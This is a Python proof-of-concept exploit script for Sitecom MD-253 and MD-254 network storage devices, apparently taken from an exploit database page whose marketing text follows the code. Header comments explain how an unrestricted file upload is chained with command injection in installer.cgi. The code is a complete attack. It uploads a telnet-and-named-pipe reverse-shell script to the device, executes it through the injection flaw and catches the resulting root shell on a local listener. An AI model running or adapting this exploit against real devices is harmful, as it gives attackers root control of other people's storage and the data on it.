#!/usr/bin/python
#
# Exploit Title: Sitecom MD-253 and MD-254 Network Storage Reverse Shell Exploit
# Date: 09/11/12
# Exploit Author: Mattijs van Ommeren (mattijs _ at _ alcyon _ dot _nl)
# Vendor Homepage: http://www.sitecom.com
# Software Link: http://www.sitecom.com/download/5012/SitecomNas.2.4.17.bin
# Version: 2.4.17 and below
# Tested on: Windows 7 x64 and Backtrack 5 R1
# CVE : N/A
#
# This PoC exploit code demonstrates how several bugs in Sitecom MD-253 and MD-254 Network Storage
# devices can be combined to obtain a root shell.
#
# Firmware versions up to and including 2.4.17 are affected by the following vulnerabilities:
#
# 1. The /cgi-bin/upload CGI used by the firmware update function allows arbitrary file uploads that are:
# - granted execute permissions
# - not removed after uploading if they don't contain valid firmware
# - stored in a predictable location
# 2. Installer.cgi contains a command injection vulnerability that allows one to run arbitrary commands as
# root (only a limited character set can be used due to URL-encoding by CGI-handler)
#
# Known Limitations:
# - Crude heuristics to determine whether a pseudo prompt needs to be echoed to stderr
#
# Vulnerability Details:
# - http://www.alcyon.nl/advisories/aa-007
# - http://www.alcyon.nl/advisories/aa-008
#
# Latest version of this exploit:
# - http://www.alcyon.nl/blog/sitecom-poc-exploit
#
import sys
import os
import socket
import thread
import datetime
from optparse import OptionParser
upload_url = '/cgi-bin/upload'
cmd_inj_url = '/cgi-bin/installer.cgi?SetExecTable&%s'
sh_name = 'revsh'
sh_script = """
#!/bin/sh
mknod /tmp/backpipe p
telnet %s %s 0</tmp/backpipe | /bin/sh -C 1>/tmp/backpipe 2>/tmp/backpipe
# clean up our mess
rm -f /tmp/backpipe
rm -f /tmp/%s
""".rstrip('\r')
headers = """Host: %s\r
User-Agent: Mozilla/5.0 (PwNAS 1.0; rv:1.0)\r
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r
Accept-Language: en-us,en;q=0.5\r
Proxy-Connection: close\r
Referer: http://%s/firmware.htm\r
Cookie: language=en;\r\n"""
class Exploit:
def stdin_thread(self, sock):
try:
fd = sys.stdin.fileno()
while True:
data = os.read(fd, 1024)
if not data:
break
while True:
nleft = len(data)
nleft -= sock.send(data)
if nleft == 0:
break
except:
pass
sock.close()
self.running = False
def stdout_thread(self, sock):
last = datetime.datetime.now()
try:
fd = sys.stdout.fileno()
while True:
if (datetime.datetime.now()-last<datetime.timedelta(milliseconds=500)):
sys.stderr.write('# '); # Insert fake prompt
last = datetime.datetime.now()
data = sock.recv(1024)
if not data:
break
while True:
nleft = len(data)
nleft -= os.write(fd, data)
if nleft == 0:
break
except Exception as e:
print e
pass
sock.close()
self.running = False
def parse_options(self):
parser = OptionParser(usage="usage: %prog [options]")
parser.add_option("-r", "--remote-host", action="store", type="string", dest="hostname",
help="Specify the host to connect to")
parser.add_option("-l", "--listener-address", action="store", type="string", dest="listener_ip",
help="Target IP for reverse shell connection")
parser.add_option("-p","--port",action="store",type="int",dest="port",
help="TCP port for the reverse shell connection")
parser.set_defaults(hostname=None, listener_ip=None, port=7777)
(options, args) = parser.parse_args();
if(options.hostname == None):
sys.stdout.write("Remote hostname/IP required\n")
parser.print_help()
sys.exit()
#self.forced_bind = (options.listener_ip != None)
self.listener_ip = options.listener_ip
self.hostname = options.hostname
self.port = options.port
def start_local_listener(self):
self.serv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.serv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
try:
self.serv.setsockopt(socket.SOL_SOCKET, socket.TCP_NODELAY, 1)
except socket.error:
sys.stderr.write("[-] Unable to set TCP_NODELAY")
try:
self.serv.bind((self.listener_ip, self.port))
except:
print "[-] Unable to bind to given IP-address. Attempting to bind on default address. You probably need a #NAT/PAT rule if you're behind a firewall."
try:
self.serv.bind(('', self.port))
except:
print "[-] Unable to bind to default address. Aborting."
sys.exit(2)
print "[*] Listener started on %s:%s" % (self.serv.getsockname()[0], self.port)
self.serv.listen(5)
self.clientsock, addr = self.serv.accept()
print "[*] Incoming connection from %s:%s" % (self.clientsock.getsockname()[0], self.clientsock.getsockname()[1])
self.clientsock.send('/bin/busybox uname -a\n');
banner = self.clientsock.recv(2048)
if (banner.find('Linux'))>=0:
print "[*] W00t W00t, got shell!\n\n%s\n" % banner
thread.start_new_thread(self.stdin_thread, (self.clientsock,))
thread.start_new_thread(self.stdout_thread, (self.clientsock,))
def connect_socket(self):
print "[*] Connecting..."
try:
self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.socket.connect( (self.hostname, 80) )
if not self.listener_ip:
self.listener_ip = self.socket.getsockname()[0]
print "[*] Connected to %s (%s) " % (self.hostname, self.socket.getpeername()[0])
except Exception as inst:
print inst
print "[-] Unable to connect"
sys.exit(2)
def upload_payload(self):
print "[*] Uploading payload\n"
try:
self.socket.send('POST %s HTTP/1.1\n' % upload_url)
self.send_headers()
ct = 'Content-Type: multipart/form-data; boundary=---------------------------41184676334\r\n'
begin_file='-----------------------------41184676334\r\n\
Content-Disposition: form-data; name="file"; filename="%s"\r\n\
Content-Type: application/octet-stream\r\n\r'
end_file='\r\n-----------------------------41184676334--\r\n'
pl = ''.join([begin_file, sh_script, end_file]) % (sh_name, self.listener_ip, self.port, sh_name)
cl = 'Content-Length: %s\r\n\r\n' % (len(pl))
crlf = '\r\n'
data = ''.join([ct,cl,pl,crlf])
self.socket.send(data)
if self.socket.recv(2048).find("200 OK")>=0 and self.socket.recv(2048).find('/tmp/'+sh_name)>=0:
print "[*] Payload succesfully uploaded"
self.socket.close()
else:
print "[-] Unexpected response. Trying to proceed anyway."
except:
print "[-] Error uploading payload. Aborting."
sys.exit(2)
def send_headers(self):
data = headers %(self.hostname, self.hostname)
self.socket.send(data)
def execute_payload(self):
print "[*] Executing payload"
cmd = '/tmp/' + sh_name
req = 'GET %s HTTP/1.1\r\n' % (cmd_inj_url % cmd)
cr = '\r\n'
self.socket.send(''.join([req,cr]))
self.send_headers()
if self.socket.recv(2048).find("200 OK")>=0:
print "[*] Finished executing payload"
self.socket.close()
def run(self):
self.line_buf = ''
self.prompt = False
self.parse_options()
self.connect_socket()
thread.start_new_thread(self.start_local_listener, ())
self.upload_payload()
self.connect_socket()
self.execute_payload()
print "[*] Waiting for reverse shell connection"
self.running = True
while self.running:
pass
exploit = Exploit()
exploit.run()
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation